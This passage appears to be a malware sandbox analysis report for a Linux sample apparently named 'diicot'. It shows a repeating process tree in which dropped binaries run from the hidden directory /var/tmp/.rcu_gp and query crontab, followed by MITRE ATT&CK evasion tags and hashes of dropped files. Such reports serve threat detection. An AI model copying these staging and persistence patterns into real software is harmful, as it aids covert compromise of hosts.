/usr/bin/sleepsleep 2.52⤵PID:1728
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1729
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1730 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1731
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1733
-
-
/usr/bin/crontabcrontab -l2⤵PID:1732
-
-
/usr/bin/sleepsleep 2.52⤵PID:1734
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1735
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1736 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1737
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1739
-
-
/usr/bin/crontabcrontab -l2⤵PID:1738
-
-
/usr/bin/sleepsleep 2.52⤵PID:1740
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1741
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1742 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1743
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1745
-
-
/usr/bin/crontabcrontab -l2⤵PID:1744
-
-
/usr/bin/sleepsleep 2.52⤵PID:1746
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1747
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1748 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1749
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1751
-
-
/usr/bin/crontabcrontab -l2⤵PID:1750
-
-
/usr/bin/sleepsleep 2.52⤵PID:1752
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1753
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1754 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1755
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1757
-
-
/usr/bin/crontabcrontab -l2⤵PID:1756
-
-
/usr/bin/sleepsleep 2.52⤵PID:1758
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1759
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1760 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1761
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1763
-
-
/usr/bin/crontabcrontab -l2⤵PID:1762
-
-
/usr/bin/sleepsleep 2.52⤵PID:1764
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1765
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1766 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1767
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1769
-
-
/usr/bin/crontabcrontab -l2⤵PID:1768
-
-
/usr/bin/sleepsleep 2.52⤵PID:1770
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1771
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1772 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1773
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1775
-
-
/usr/bin/crontabcrontab -l2⤵PID:1774
-
-
/usr/bin/sleepsleep 2.52⤵PID:1776
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1777
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1778 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1779
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1781
-
-
/usr/bin/crontabcrontab -l2⤵PID:1780
-
-
/usr/bin/sleepsleep 2.52⤵PID:1782
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1783
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1784 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1785
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1787
-
-
/usr/bin/crontabcrontab -l2⤵PID:1786
-
-
/usr/bin/sleepsleep 2.52⤵PID:1788
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1789
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1790 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1791
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1793
-
-
/usr/bin/crontabcrontab -l2⤵PID:1792
-
-
/usr/bin/sleepsleep 2.52⤵PID:1794
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1795
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1796 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1797
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1799
-
-
/usr/bin/crontabcrontab -l2⤵PID:1798
-
-
/usr/bin/sleepsleep 2.52⤵PID:1800
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1801
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1802 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1803
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1805
-
-
/usr/bin/crontabcrontab -l2⤵PID:1804
-
-
/usr/bin/sleepsleep 2.52⤵PID:1806
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1807
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1808 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1809
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1811
-
-
/usr/bin/crontabcrontab -l2⤵PID:1810
-
-
/usr/bin/sleepsleep 2.52⤵PID:1812
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1813
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1814 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1815
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1817
-
-
/usr/bin/crontabcrontab -l2⤵PID:1816
-
-
/usr/bin/sleepsleep 2.52⤵PID:1818
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1819
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1820 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1821
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1823
-
-
/usr/bin/crontabcrontab -l2⤵PID:1822
-
-
/usr/bin/sleepsleep 2.52⤵PID:1824
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1825
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1826 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1827
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1829
-
-
/usr/bin/crontabcrontab -l2⤵PID:1828
-
-
/usr/bin/sleepsleep 2.52⤵PID:1830
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1831
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1832 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1833
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1835
-
-
/usr/bin/crontabcrontab -l2⤵PID:1834
-
-
/usr/bin/sleepsleep 2.52⤵PID:1836
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1837
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1838 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1839
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1841
-
-
/usr/bin/crontabcrontab -l2⤵PID:1840
-
-
/usr/bin/sleepsleep 2.52⤵PID:1842
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1843
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1844 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1845
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1847
-
-
/usr/bin/crontabcrontab -l2⤵PID:1846
-
-
/usr/bin/sleepsleep 2.52⤵PID:1848
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1849
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1850 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1851
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1853
-
-
/usr/bin/crontabcrontab -l2⤵PID:1852
-
-
/usr/bin/sleepsleep 2.52⤵PID:1854
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1858
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1859 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1860
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1862
-
-
/usr/bin/crontabcrontab -l2⤵PID:1861
-
-
/usr/bin/sleepsleep 2.52⤵PID:1863
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1864
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1865 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1866
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1868
-
-
/usr/bin/crontabcrontab -l2⤵PID:1867
-
-
/usr/bin/sleepsleep 2.52⤵PID:1869
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1870
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1871 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1872
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1874
-
-
/usr/bin/crontabcrontab -l2⤵PID:1873
-
-
/usr/bin/sleepsleep 2.52⤵PID:1875
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1876
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1877 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1878
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1880
-
-
/usr/bin/crontabcrontab -l2⤵PID:1879
-
-
/usr/bin/sleepsleep 2.52⤵PID:1881
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1882
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1883 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1884
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1886
-
-
/usr/bin/crontabcrontab -l2⤵PID:1885
-
-
/usr/bin/sleepsleep 2.52⤵PID:1887
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1888
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1889 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1890
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1892
-
-
/usr/bin/crontabcrontab -l2⤵PID:1891
-
-
/usr/bin/sleepsleep 2.52⤵PID:1893
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1894
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1895 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1896
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1898
-
-
/usr/bin/crontabcrontab -l2⤵PID:1897
-
-
/usr/bin/sleepsleep 2.52⤵PID:1899
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1900
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1901 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1902
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1904
-
-
/usr/bin/crontabcrontab -l2⤵PID:1903
-
-
/usr/bin/sleepsleep 2.52⤵PID:1905
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1906
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1907 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1908
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1910
-
-
/usr/bin/crontabcrontab -l2⤵PID:1909
-
-
/usr/bin/sleepsleep 2.52⤵PID:1911
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1912
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1913 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1914
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1916
-
-
/usr/bin/crontabcrontab -l2⤵PID:1915
-
-
/usr/bin/sleepsleep 2.52⤵PID:1917
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1918
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1919 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1920
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1922
-
-
/usr/bin/crontabcrontab -l2⤵PID:1921
-
-
/usr/bin/sleepsleep 2.52⤵PID:1923
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1924
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1925 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1926
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1928
-
-
/usr/bin/crontabcrontab -l2⤵PID:1927
-
-
/usr/bin/sleepsleep 2.52⤵PID:1929
-
-
/var/tmp/.rcu_gp/.report_system/var/tmp/.rcu_gp/./.report_system1⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:1590
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
317B
MD516e2803c065d552231b2792d2dcaba26
SHA1a3bdf6b8a1b31f471e90da99e6d7159a25a59963
SHA2563a971afde52c507b11876d01acb587cf305c988347e0e25f205b3694dd00d073
SHA512b1fcd03e8f62108476a9abb7cac9136f41670e20d150ba0306b3257f909cd990eba72040c9410e144347c54adb2f289fc8d7e4cae6f037bb3902bbde7ef2697e
-
Filesize
17B
MD5ed41f347e368587902ee39ae0820e4f3
SHA155fc93606d1c801650fb68c85b4535658f44e51b
SHA256fadf3c99404046418d249eca29c985b40bf34d6bb6000f32bb73f39e0d6e5016
SHA5125ccd1805d59b3d114eeaaee5a422d4d37c9e7c0629ecfe43111b9c1512c3dbb649fc97e50c4c6d74ac05a0c34b4b53e4924a0dbf4decec83c1db7faed890a607
-
Filesize
31B
MD53849d2e2d4fbd74bf13c86237e5f8257
SHA11a1d605574d84531c36967e62c50387af56ec048
SHA2565a91635ed578ff1552d71f49009f5d507273b42d926960b44d952bf659c4b64e
SHA51206ee5e3db69f1cff254e46e77d6e10ab92729e3fb9dc7f961fc438d98d3fdb00a86b76e05c79215b3a7e4f25ba821285edb1ff8a8a8a76cc9f38b501891d9497
-
Filesize
76B
MD5268448409cd2df039233e116f5ff4cfd
SHA16df0a74b2cef2974dbd8422b027a29a40a5f9ad8
SHA25600293284adf5483c18ab9f69f92f52fb35568bab00ee7e4f70a490e779ddc3e8
SHA512774b981b5c388924868f10a61d1e7bc2a4207acef8bd02134d675e2197dd6590ab643201db9d1e5e700fa5d3b83a0f1d53d69c216c3b17dec5c4aec90799609c
-
Filesize
122B
MD5fc16ad6d39c8c6669ea14e35610d398b
SHA10644c85527d59857d780c26d9db9c585066a9f1a
SHA256d1e064e763215d12123c8711c37a070a6ba95c9458c0f980a308ffbd00863493
SHA512f219d7a9f1b7c35a1e4be974a62fd7a566c209f8261e06183cf9375925185c0d2e286df2f76fcec941c370738622bd592d1f398b852dda43dafd90d0bb64fe70
-
Filesize
8.4MB
MD51271e6e82b344df1c7960230ec449af7
SHA17fe3253d34cae21facc8c445c3620b9e8566988b
SHA256fff96ad553f916da4eb0d55b1075b9b4aea7b93249663aefbc0310e53c7498ba
SHA512786f8ae08f8cdb892c1d67b216d26ce8db464e445c4884ab23bdfb642d7cc52862ceb77c51b38a2f77c6ae38541ea83f6eaeb2d2c2337a2d96f61738de4ff39c
-
Filesize
137B
MD58bbab4cb0d4871bf7665cbbe5c7dd305
SHA16358fc05a9ca981197dae3cc35c1f49cc61868ec
SHA256dbeb0bb0eed71abae7cabeec6e3cbda15e1883fb95e7c68c644fdf7eb4b23723
SHA5128fe9b04e9d71c752bb356f78b4e4e1e704ca89248574817094c4b4404c27f6ba47f870158c449ff1d2a2ec4ebb7c31a8b2857ce15ae7db042a3b4e0f10776cd9